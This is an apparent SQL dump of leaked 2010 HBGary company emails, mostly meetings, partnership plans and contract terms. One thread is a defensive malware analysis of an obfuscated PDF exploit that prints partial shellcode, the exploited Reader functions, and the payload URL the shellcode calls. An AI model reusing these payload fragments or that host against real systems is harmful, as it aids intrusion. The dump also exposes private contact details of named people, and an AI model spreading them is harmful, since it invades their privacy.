Cummings\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nAre\r\nu available tues or wed to meet with endgames and do a capabilities brief?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 19, 2010, at 2:10 PM, &quot;Rich Cummings&quot; &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat\r\nthanks Amit and Brian.  Aaron and I can do tomorrow at 3PM.  Should\r\nwe come to the Netwitness office then?\r\n\r\n \r\n\r\nRich\r\n\r\n \r\n\r\n  \r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Brian Girardi\r\n[mailto:brian@netwitness.com] \r\nSent: Tuesday, January 19, 2010 1:23 PM\r\nTo: Amit Yoran; Rich Cummings\r\nCc: Tim Belcher\r\nSubject: Re: Meet this week? Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nFor me tomorrow\r\n11:30-1 or after 3. Thursday @1. Or push to next week.\r\n\r\n\r\nOn 1/19/10 1:13 PM, &quot;Amit Yoran&quot; &lt;amit@netwitness.com&gt; wrote:\r\n\r\nRich, would love to\r\nconnect and explore.\r\nI can do tomorrow 9/930 until 11am.\r\nI’m on the road Thursday and downtown all day Friday.  \r\n\r\nI would like Tim and/or Brian to attend (probably more important that they\r\nattend than me even).  We have our infrastructure now working to rip files\r\nout of network traffic and export them into a directory, where they can be\r\ningested by a tool like yours.  If for whatever reason tomorrow am doesn’t\r\nwork for you guys, I suggest having the meeting without me and we can connect\r\nafterward.  :+)\r\n\r\nCheers,\r\nA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Rich Cummings &lt;rich@hbgary.com&gt;\r\n\r\nDate: Tue, 19 Jan 2010 06:21:34 -0800\r\nTo: Amit Yoran &lt;amit@netwitness.com&gt;\r\nSubject: Meet this week?  Integration discussion &amp; I want to\r\nintroduce CEO of HBGary Federal - Aaron Barr\r\n\r\nHey Amit,\r\n \r\nCan we get together this week to talk about some integration points of our\r\ntechnologies and some Govt contracts were going after this year?  We’re\r\ngetting into the services space with a new company we started in Nov called\r\ncalled HBGary Federal.  This organization was started to do classified\r\nwork and to extend the HBGary product line into that arena.\r\n  HBGary’s CEO is Aaron Barr who comes to us from Northrop Grumman\r\nwhere he ran a book of business doing Information Operations for the last 15 or\r\nso years.   \r\n \r\nI think we could team up to create some bleeding edge stuff.  This week\r\nlooks good for Aaron and I.\r\n \r\nThanks,\r\nRich \r\n \r\n \r\n\r\n\r\n\r\nBRIAN GIRARDI\r\nDIRECTOR, PRODUCT MANAGEMENT\r\nNETWITNESS | 500 Grove Street,\r\nSuite 300 | Herndon, VA 20170\r\nO: 703.889.8948 | M: 571.436.8437 | F: 703.651.3126\r\n\r\n\r\nThis communication, along with any attachments, is covered by federal and state\r\nlaw governing electronic communications and may contain company proprietary and\r\nlegally privileged information. If the reader of this message is not the\r\nintended recipient, you are hereby notified that any dissemination, distribution,\r\nuse or copying of this message is strictly prohibited. If you have received\r\nthis in error, please reply immediately to the sender and delete this message.\r\nThank you. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13502,'aaron_hbgary_com/13502.html'),(1250,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000284.M88418P3547Q1247.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Congratulations','From my iPhoneBegin forwarded message:From: &quot;Pisani, Albert A.&quot; &lt;albert.pisani@TASC.COM&gt;\r\nDate: January 19, 2010 4:37:49 PM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Cc: &quot;Harris, Irene G (TASC Inc)&quot; &lt;irene.harris@TASC.COM&gt;, &quot;Lovegrove, John (TASC Inc)&quot; &lt;John.Lovegrove@ngc.com&gt;\r\nSubject: RE: CongratulationsAaron:Good to hear from you.I will have Irene set something up.\r\nLook forward to meeting with you.AL-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 1:06 PMTo: Pisani, Albert A.Subject: CongratulationsHi Al,I don&#39;t think I had yet congratulated you on your move to TASC.  I am\r\nsure some bumpy roads but sounds promising.Do you have some time to catch up?  I would like to tell you about someof the things I am thinking about and working on related to\r\ncybersecurity and information operations.  I am working to put togethera cooperative of small, innovative business with complementarytechnologies as one effort.  I think it could be promising.\r\nAaron BarrCEOHBGary Federal Inc.\r\n',10645,'aaron_hbgary_com/10645.html'),(1251,'2010-01-19','\"Matthew Steckman\" <msteckman@palantirtech.com>','/aaron@hbgary.com/new/1297000284.M907644P3547Q1251.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: What\'s your availability','Yup, that works.\r\n\r\nMatthew Steckman\r\nPalantir Technologies | Forward Deployed Engineer\r\nmsteckman@palantirtech.com | 202-257-2270\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, January 19, 2010 5:05 PM\r\nTo: Matthew Steckman\r\nSubject: Re: What\'s your availability\r\n\r\nOk how about 330-430 tuesday. Palantir/HBGary/endgames\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jan 19, 2010, at 3:59 PM, Matthew Steckman  wrote:\r\n\r\n> Either day is fine with me.\r\n>\r\n> Matthew Steckman\r\n> Palantir Technologies | Forward Deployed Engineer\r\n> msteckman@palantirtech.com | 202-257-2270\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, January 19, 2010 3:58 PM\r\n> To: Matthew Steckman\r\n> Subject: What\'s your availability\r\n>\r\n> To meet with endgames systems next tuesday or Wednesday.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n',2258,'aaron_hbgary_com/2258.html'),(1252,'2010-01-19','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297000289.M234250P3547Q1253.eml','\"Barr Aaron\" <aaron@hbgary.com>','Lockheed Martin introduces \'PC on a stick\' flash drive -- yes, Lockheed Martin -- Engadget','http://www.engadget.com/2010/01/19/lockheed-martin-introduces-pc-on-a-stick-flash-drive-yes-l/\r\n\r\n\r\n\r\n',10914,'aaron_hbgary_com/10914.html'),(1253,'2010-01-19','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000289.M39433P3547Q1252.eml','\"Aaron Barr\" <aaron@hbgary.com>','Language around Issue','Definition  “Company Source Code” shall mean the human readable\r\ncomputer source code used by HBGary that generates or identifies the\r\nProduct or any portion thereof.\r\n               “Program Copy” shall mean a copy of a PRODUCT residing\r\non the storage media form in which it is to be distributed to\r\nEnd-Users.\r\n\r\nNG shall not translate, decompile, nor create or attempt to create, by\r\nreverse engineering or otherwise, the HBGary Source Code from the\r\nobject code supplied hereunder, or use the object code to create a\r\nderivative work.  Any updates, replacements, revisions, enhancements\r\nor additions to the Product(s) shall become part of and subject to\r\nthis Master Agreement and all rights therein owned by HBGary\r\n\r\nNG hereby agrees and acknowledges that HBGary owns any and all rights,\r\ntitle and all interest in and to the Product(s), Documentation,\r\nrelated works and all copies, derivative works, translations, training\r\nmanuals or information, or any and all forms of software or Products\r\nand works including all Source Codes and keys (collectively “Product\r\nInformation”).  GSI further agrees and acknowledges that the\r\nProduct(s) and all Product Information contain valuable trade secrets\r\nand confidential information of HBGary’s; and NG shall take all steps\r\nnecessary to protect and hold confidential the Product(s) and Product\r\nInformation with the same degree of care that it treats is own trade\r\nsecrets and confidential information, but no less than a reasonable\r\ndegree of care. The Parties hereto understand and agree that any\r\nbreach of this provision would lead to damages that are not measurable\r\nin monetary value and would be unliquidated damages; therefore the\r\nrelief would not be in contract but in equity.  Any such breach would\r\nalso be subject to a temporary or permanent restraining order or other\r\nsuch equitable relief.\r\n\r\n2.6	HBGary shall have the right to audit NG’s facilities and necessary\r\nsystems for determining licensing compliance with reasonable notice\r\nduring normal business hours.  Should HBGary request information be\r\nprovided or systems data presented, NG agrees to comply in a thorough,\r\ncomplete and timely manner.\r\n2.7	NG agrees to refrain from any and all manufacture of a product\r\nthat has the same functionality or mimics the Product(s) HBGary\r\nproduces.  Any such production or design and research would be a\r\nbreach of the tone, spirit and underlying tenets of this Master\r\nAgreement and all Addenda and shall result in unliquidated damages and\r\ndamages that are impossible to measure.  Any such breach shall not be\r\nlimited by the Limitation of damages provision in this Master\r\nAgreement and will result in relief in equity and possibly punitive\r\ndamages.\r\n\r\n\r\nHBGary will allow NG to use the source code/product for demonstration\r\npurposes only.  All work and any derivatives are owned by HBGary.  IF\r\nNG and HBGary agree to license the program code or source code for a\r\nfee, a new license argeement regarding program code/source code would\r\nneed to be signed\r\n\r\n\r\nDelineate out what we would be giving them\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',12821,'aaron_hbgary_com/12821.html'),(1254,'2010-01-19','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000289.M489181P3547Q1254.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Good meeting with endgames','Next tuesday rich and I will participate in a capabilities brief\r\nbetween HBGary and endgames then go see palantir to discuss their\r\nintegration into the co-op.  Lts of good things we can talk about\r\nhere.  I have a couple of country reports endgames gave me.  Those se\r\nreports if developed by government would be classified.  They are very\r\nexcited about the partneship.  I think we are going to be able to put\r\ntogether a capability that will rival the intel community.  We can be\r\nthe space-x for cyber intel.\r\n\r\nI am in talks with Xetron to fund the integration.  They have 200k of\r\nimmediate funds and can likely get more.  I am putting a few slides\r\ntogether to illustrate capability at 200k, 500k and 1million funding.\r\n\r\nAaron\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',446,'aaron_hbgary_com/446.html'),(1255,'2010-01-19','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000289.M682579P3547Q1255.eml','all@hbgary.com','McAfee Sales Agreement','I just signed the McAfee Sales Partnering Agreement.  This means that\r\nMcAfee Reps will register to co-sell deals with you.  We have 72 hours\r\nto agree to sell a deal with them or not.  If we jointly sell a deal,\r\nMcAfee receives 30% of the net deal.  If you bring a McAfee rep into a\r\ndeal and they decide to help you, there is a 10% fee of net paid to\r\nMcAfee but not less than $50K UNLESS we talk with Eric Renner about\r\nthis.  There are exceptions.  The best way to think about this is to\r\ntry to go after deals that you couldn\'t get on your own.  We are\r\ngiving away a lot of margin to help them sell and this will impact\r\nyour commission, The good news is that this will increase your\r\npipeline.  So use it wisely.  If we are in a\r\n\r\nOn February 1st, Rich will be giving a demo and telling them about\r\nDDNA for ePO to 80-120 SE\'s worldwide and they will record and archive\r\nthis info.  This is the first of a couple of agreements to come\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',13242,'aaron_hbgary_com/13242.html'),(1256,'2010-01-19','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000289.M868341P3547Q1256.eml','\"Penny Leavy\" <penny@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Re: McAfee Sales Agreement','Praise the lord.  And I&#39;m not religious.  This marks a major milestone.\r\n \r\nOn Tue, Jan 19, 2010 at 6:15 PM, Penny Leavy &lt;penny@hbgary.com&gt; wrote:\r\nI just signed the McAfee Sales Partnering Agreement.  This means thatMcAfee Reps will register to co-sell deals with you.  We have 72 hours\r\nto agree to sell a deal with them or not.  If we jointly sell a deal,McAfee receives 30% of the net deal.  If you bring a McAfee rep into adeal and they decide to help you, there is a 10% fee of net paid toMcAfee but not less than $50K UNLESS we talk with Eric Renner about\r\nthis.  There are exceptions.  The best way to think about this is totry to go after deals that you couldn&#39;t get on your own.  We aregiving away a lot of margin to help them sell and this will impactyour commission, The good news is that this will increase your\r\npipeline.  So use it wisely.  If we are in aOn February 1st, Rich will be giving a demo and telling them aboutDDNA for ePO to 80-120 SE&#39;s worldwide and they will record and archivethis info.  This is the first of a couple of agreements to come\r\n--Penny C. LeavyHBGary, Inc.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',3179,'aaron_hbgary_com/3179.html'),(1257,'2010-01-20','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297000290.M326164P3547Q1258.eml','\"Varine, Brian R\" <Brian.Varine@dhs.gov>,\"Varine, Brian R\" <Brian.Varine@dhs.gov>,,','Re: PDF exploit','Brian,You were right in suspecting this PDF of malicious behavior.  I performed static analysis of it tonight.  I&#39;m in trouble with the wife for leaving my in-law&#39;s early but it was worth it.  You have a HIGHLY obfuscated sample here.  OK let&#39;s begin...\r\nAs you know PDFs are divided into objects.  Most tools depend of the ability to define these object boundaries.  This attacker used a trick I have seen until tonight.  He obfuscated the filter definitions.  So let&#39;s look at object 6 as it appears in pdf-parser.py output:\r\n obj 6 0 Type: Referencing: Contains stream [(2, &#39;&lt;&lt;&#39;), (2, &#39;/#4ce#6e#67#74#68&#39;), (1, &#39; &#39;), (3, &#39;5387&#39;), (2, &#39;/Filt#65#72&#39;), (2, &#39;[&#39;), (2, &#39;/#41SCI#49H#65x#44#65code&#39;), (1, &#39; &#39;), (2, &#39;/L#5a#57#44#65#63ode&#39;), (1, &#39; &#39;), (2, &#39;/#41#53#43I#4985#44#65#63od#65&#39;), (1, &#39; &#39;), (2, &#39;/Ru#6eL#65#6eg#74hDe#63o#64#65&#39;), (1, &#39; &#39;), (2, &#39;/#46#6ca#74e#44e#63#6f#64e&#39;), (2, &#39;]&#39;), (2, &#39;&gt;&gt;&#39;), (1, &#39;\\r\\r\\n&#39;)]\r\n &lt;&lt;   /#4ce#6e#67#74#68 5387   /Filt#65#72 [   /#41SCI#49H#65x#44#65code /L#5a#57#44#65#63ode   /#41#53#43I#4985#44#65#63od#65 /Ru#6eL#65#6eg#74hDe#63o#64#65   /#46#6ca#74e#44e#63#6f#64e ]\r\n &gt;&gt;I noticed the #XX pattern.  It looks like a hex value.  I wrote a perl one-liner to change the hex to ascii like this:cat donotgorookie-pdf-parse.txt | perl -pe &#39;s/#(..)/chr(hex($1))/ge&#39;\r\nThis gave me the deobfuscated object info:obj 6 0 Type: Referencing: Contains stream [(2, &#39;&lt;&lt;&#39;), (2, &#39;/Length&#39;), (1, &#39; &#39;), (3, &#39;5387&#39;), (2, &#39;/Filter&#39;), (2, &#39;[&#39;), (2, &#39;/ASCIIHexDecode&#39;), (1, &#39; &#39;), (2, &#39;/LZWDecode&#39;), (1, &#39; &#39;), (2, &#39;/ASCII85Decode&#39;), (1, &#39; &#39;), (2, &#39;/RunLengthDecode&#39;), (1, &#39; &#39;), (2, &#39;/FlateDecode&#39;), (2, &#39;]&#39;), (2, &#39;&gt;&gt;&#39;), (1, &#39;\\r\\r\\n&#39;)]\r\n &lt;&lt;   /Length 5387   /Filter [   /ASCIIHexDecode /LZWDecode   /ASCII85Decode /RunLengthDecode   /FlateDecode ] &gt;&gt;When you do this for all of the objects you&#39;ll see that object 5 calls object 6 and tells it to execute JavaScript:\r\nobj 5 0 Type: Referencing: 6 0 R [(2, &#39;&lt;&lt;&#39;), (2, &#39;/Type&#39;), (2, &#39;/Action&#39;), (2, &#39;/S&#39;), (2, &#39;/JavaScript&#39;), (2, &#39;/JS&#39;), (1, &#39; &#39;), (3, &#39;6&#39;), (1, &#39; &#39;), (3, &#39;0&#39;), (1, &#39; &#39;), (3, &#39;R&#39;), (2, &#39;&gt;&gt;&#39;)]\r\n &lt;&lt;   /Type /Action   /S /JavaScript   /JS 6 0 R &gt;&gt;Anyway another problem was that the JS in object 6 is compressed five different ways:  \r\n /ASCIIHexDecode /LZWDecode\r\n   /ASCII85Decode /RunLengthDecode\r\n   /FlateDecode ]Luckily pdf-parser was just updated to be able to handle LZW and RunLen encoding.  So I extracted the stream from object 6 and ran it through all the filters required to get readable text:\r\n/tools/pdf/pdf-parser.py -f out.pdfNow we have some ugly JavaScript.  Here&#39;s a snippit:function kJY(ksbPAFHa,OUCET){while(ksbPAFHa.length*2 &lt; OUCET){ksbPAFHa+=ksbPAFHa;}ksbPAFHa=ksbPAFHa.substring(0,OUCET/2);return ksbPAFHa;}function aOsbF(){var sdnFwWr=unescape(&quot;%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB.......\r\nI used a few tricks to get the code in readable format.  From here I can determine the PDF is exploiting the following based on app.viewer.version:Collab.getIconCollab.collectEmailInfo\r\nutil.printfI extracted the shellcode and made it a binary using http://sandsprite.com/shellcode_2_exe.php.Now I import the static binary into Responder Pro and determine that the shellcode talks to:\r\nhttp://fridayalways.com/kvusa/loadpdf.phpThis is a Russian domain registered on Christmas:Registrant:Name: dannisAddress: MoskowCity: Moskow\r\nProvince/state: MSKCountry: RUPostal Code: 130610Administrative Contact:Name: dannisOrganization: privat  personAddress: MoskowCity: MoskowProvince/state: MSKCountry: RUPostal Code: 130610\r\nPhone: +7.9957737737Fax: +7.9957737737Email: moldavimo@safe-mail.netTechnical Contact:Name: dannisOrganization: privat  personAddress: MoskowCity: Moskow\r\nProvince/state: MSKCountry: RUPostal Code: 130610Nameserver Information:    ns3.01isp.com    ns4.01isp.netCreate: 2009-12-25 21:47:37\r\nUpdate: 2009-12-25Expired: 2010-12-25As you can see this sample will defeat many automated scanners.  I&#39;m working with the guys back in Cali on using REcon to automate many of these answers.  But since you&#39;re our favorite customer I&#39;d like to know...Have I answered your questions?  What other questions might you have?  What types of things would you have to present to your boss?  \r\nWe want REcon to be able to tell you what exploits a PDF launches, what domains it talks to, does the shellcode download a file or self extract, does the shellcode egg-hunt.  You can see that this type of analysis can take time to do and we want to help you guys get to the answers you most care about quickly.\r\nFYI, I can provide your team my output files if needed (shellcode.exe, js, deobfuscated js, uncompressed pdf).On Tue, Jan 19, 2010 at 6:00 PM, Varine, Brian R &lt;Brian.Varine@dhs.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYeah, it’s tiny and it didn’t do anything\r\nwith Flypaper but man, something just smells. \r\n\r\n \r\n\r\n\r\n\r\nBrian Varine \r\n\r\nChief, ICE Security\r\n Operations Center\r\nand CSIRC\r\n\r\nInformation Assurance Division, OCIO\r\n\r\nU.S. Immigration and Customs Enforcement\r\n\r\n\r\n202-732-2024\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Phil Wallisch\r\n[mailto:phil@hbgary.com] \r\nSent: Tuesday, January 19, 2010\r\n5:59 PM\r\nTo: Varine, Brian R\r\nSubject: Re: PDF exploit\r\n\r\n\r\n\r\n \r\n\r\nWell I couldn&#39;t resist at\r\nleast peaking before I left.  Something is def. funky with it:\r\n\r\nobj 1 0\r\n Type:\r\n Referencing: 2 0 R, 3 0 R, 5 0 R\r\n [(2, &#39;&lt;&lt;&#39;), (2, &#39;/#54#79p#65&#39;), (2, &#39;/#43a#74alo#67&#39;), (2,\r\n&#39;/#4fu#74#6c#69#6ee#73&#39;), (1, &#39; &#39;), (3, &#39;2&#39;),\r\n(1                                                                                                                                 \r\n, &#39; &#39;), (3, &#39;0&#39;), (1, &#39; &#39;), (3, &#39;R&#39;), (2, &#39;/P#61g#65#73&#39;), (1, &#39; &#39;), (3, &#39;3&#39;),\r\n(1, &#39; &#39;), (3, &#39;0&#39;), (1, &#39;\r\n&#39;),                                                                                                                                  \r\n(3, &#39;R&#39;), (2, &#39;/Op#65#6e#41#63#74ion&#39;), (1, &#39; &#39;), (3, &#39;5&#39;), (1, &#39; &#39;), (3, &#39;0&#39;),\r\n(1, &#39; &#39;), (3, &#39;R&#39;), (2, &#39;&gt;&gt;                                                                                                                                 \r\n&#39;)]\r\n\r\n &lt;&lt;\r\n   /#54#79p#65 /#43a#74alo#67\r\n   /#4fu#74#6c#69#6ee#73 2 0 R\r\n   /P#61g#65#73 3 0 R\r\n   /Op#65#6e#41#63#74ion 5 0 R\r\n &gt;&gt;\r\n\r\n\r\nI see what look like hex bytes in the object definitions.  This could be\r\ngood....\r\n\r\n\r\n\r\nOn Tue, Jan 19, 2010 at 5:54 PM, Varine, Brian R &lt;Brian.Varine@dhs.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks. I swear we’re a magnet for malicious PDF’s\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nBrian Varine \r\n\r\nChief, ICE\r\n Security Operations\r\n Center and CSIRC\r\n\r\nInformation Assurance Division, OCIO\r\n\r\nU.S. Immigration and Customs Enforcement\r\n\r\n\r\n202-732-2024\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Phil Wallisch [mailto:phil@hbgary.com] \r\n\r\nSent: Tuesday, January 19, 2010\r\n5:52 PM\r\nTo: Varine, Brian R\r\nSubject: Re: PDF exploit\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nYou bet.  I\r\nhave to run out to a family event but will lab it up tonight and be in touch.\r\n\r\n\r\n\r\nOn Tue, Jan 19,\r\n2010 at 5:45 PM, Varine, Brian R &lt;Brian.Varine@dhs.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nPhil,\r\n\r\n \r\n\r\nWe have a weird one here. We’re not sure what it does (if anything)\r\nbut our IDS doesn’t like it. Password is 1nf3ct3d\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nBrian Varine \r\n\r\nChief, ICE\r\n Security Operations\r\n Center and CSIRC\r\n\r\nInformation Assurance Division, OCIO\r\n\r\nU.S. Immigration and Customs Enforcement\r\n\r\n\r\n202-732-2024\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Phil Wallisch [mailto:phil@hbgary.com] \r\n\r\nSent: Tuesday, January 19, 2010\r\n5:09 PM\r\nTo: Maria Lucas\r\nCc: Varine, Brian R\r\nSubject: Re: PDF exploit\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\nHi Brian.  I\r\nlooked at one last week:\r\n\r\nhttps://www.hbgary.com/phils-blog/malicious-pdf-analysis/\r\n\r\nI&#39;m sort of PDF junkie now so feel free to challenge me....\r\n\r\n\r\n\r\nOn Tue, Jan 19,\r\n2010 at 4:44 PM, Maria Lucas &lt;maria@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPhil has been\r\nlooking at the PDF exploits.... \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHere is Phil&#39;s\r\ncontact information\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nPhil@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\nCell 703-655-1208\r\n\r\n\r\n\r\n\r\n\r\nOffice\r\n703-860-8179\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n-- \r\nMaria Lucas, CISSP | Account Executive | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\n\r\nWebsite:  www.hbgary.com\r\n|email: maria@hbgary.com \r\n\r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3093,'aaron_hbgary_com/3093.html'),(1258,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000290.M522274P3547Q1259.eml','\"<don@hypervista-tech.com>\" <don@hypervista-tech.com>','Catching Up','Hey Don,\r\n\r\nHappy New Year.\r\n\r\nJust checking in to see if you had heard any word on some of the work you were talking about that we might be a good fit for?\r\n\r\nAaron\r\n\r\n\r\n\r\n',5329,'aaron_hbgary_com/5329.html'),(1259,'2010-01-20','\"Splunk Sales\" <sales@splunk.com>','/aaron@hbgary.com/new/1297000290.M746442P3547Q1260.eml','\"Aaron Barr\" <aaron@hbgary.com>','Thanks for signing up on Splunk.com','\r\nWelcome. Thank you for joining the Splunk community.\r\n\r\nAs a member you can:\r\n\r\n- Download Splunk\r\n- Submit support issues online\r\n- Post to the online support forums\r\n- Access the product roadmap to see what we\'re working on and tell us what you want.\r\n\r\nIf you need help, feel free to contact us at http://www.splunk.com/page/submit_issue.\r\n\r\nHappy Splunking,\r\n\r\nGodfrey Sullivan\r\nCEO\r\n\r\n\r\n---------------------------------------------\r\n\r\nDon\'t want to receive these emails? Click here to unsubscribe:\r\nhttp://www.splunk.com/page/unsubscribe?email=aaron@hbgary.com\r\n',6083,'aaron_hbgary_com/6083.html'),(1260,'2010-01-20','\"Splunk Support\" <support@splunk.com>','/aaron@hbgary.com/new/1297000290.M935753P3547Q1261.eml','aaron@hbgary.com','Getting started with Splunk','\r\nThanks for downloading Splunk. You have access to all the Enterprise features of Splunk 4 for 60 days and you can index up to 500 megabytes of IT data per day. \r\n\r\nAfter 60 days, or anytime before then, you can convert to a perpetual Free license or purchase an Enterprise license to continue using the expanded functionality. Learn more about the differences between Splunk Free and Splunk Enterprise here: http://www.splunk.com/view/SP-CAAADFV\r\n\r\nDid you get Splunk up and running? Get help here:\r\n\r\n* Peruse the docs at http://www.splunk.com/base/Documentation\r\n* Drop into our IRC channel (#splunk on irc.efnet.org)\r\n* Join our discussion forum http://www.splunk.com/support/list/forum\r\n* Watch a video on Splunk\'s features and functionality: http://www.splunk.com/videos\r\n\r\nCustomer Support\r\n\r\nSplunk\'s Customer Support Team and engineers are always here to help. You can reach them at http://www.splunk.com/page/submit_issue\r\n\r\nLet us know how it\'s going. We want to hear from you.\r\n\r\nHappy Splunking!\r\n\r\nLionel Hartmann,\r\nVP Support & Services\r\n\r\n---------------------------------------------\r\n\r\nDon\'t want to receive these emails? Click here to unsubscribe:\r\nhttp://www.splunk.com/page/unsubscribe?email=aaron@hbgary.com\r\n',4979,'aaron_hbgary_com/4979.html'),(1261,'2010-01-20','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000290.M98278P3547Q1257.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Good meeting with endgames',' \r\nGood job Aaron, hope you can brief me sometime this week.  I&#39;m in coding mode.\r\n \r\n-G\r\n',7937,'aaron_hbgary_com/7937.html'),(1262,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000291.M167570P3547Q1262.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Construct for a new Cyber Intelligence Capability','Guys,\r\n\r\nHere is the straw man idea.\r\n\r\nThis new Co-op will be a new, better cyber intelligence capability.  Think of the space-X for cyber intelligence.  More capable, more economic, more agile.\r\n\r\nThe Players:\r\nApplication - HBGary\r\nHost - Splunk\r\nNetwork - Netwitness\r\nInternet - EndGames\r\nSocial - Palantir\r\n\r\nAnalysts (HBGary Federal and Xetron)\r\n\r\nThese companies give us a complete end-to-end solution from app-internet, from defense to offense, without any of the cumbersome trappings of a beauracracy.  Once we have a good cyber intelligence story we can start working in the hooks to integrate the capabilities for semi-automated to automated proactive/reactive security.\r\n\r\nThoughts?  Any better or other candidates/capabilities I am missing or should rethink?  Xetron is looking at ponying up the money for the integration.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13767,'aaron_hbgary_com/13767.html'),(1263,'2010-01-20','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000291.M398541P3547Q1263.eml','\"Martin Pillion\" <martin@hbgary.com>','REs','Martin,\r\n\r\nAny leads you have on good REs or Malware analysts would be very helpful.  We will work to make it advantageous for them\r\n\r\nThanks,\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',5402,'aaron_hbgary_com/5402.html'),(1264,'2010-01-20','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000291.M599150P3547Q1264.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: HBGary/EndGames Capabilities Brief @ Tue Jan 26 1pm - 3pm 	(john@endgames.us)','',2743,'aaron_hbgary_com/2743.html'),(1265,'2010-01-20','\"John Farrell\" <john@endgames.us>','/aaron@hbgary.com/new/1297000291.M775036P3547Q1265.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Accepted: Invitation: Cyber Intelligence Consortium @ Tue Jan 26 3:30pm - 	4:30pm (john@endgames.us)','',11293,'aaron_hbgary_com/11293.html'),(1266,'2010-01-20','don@hypervista-tech.com','/aaron@hbgary.com/new/1297000291.M957169P3547Q1266.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Catching 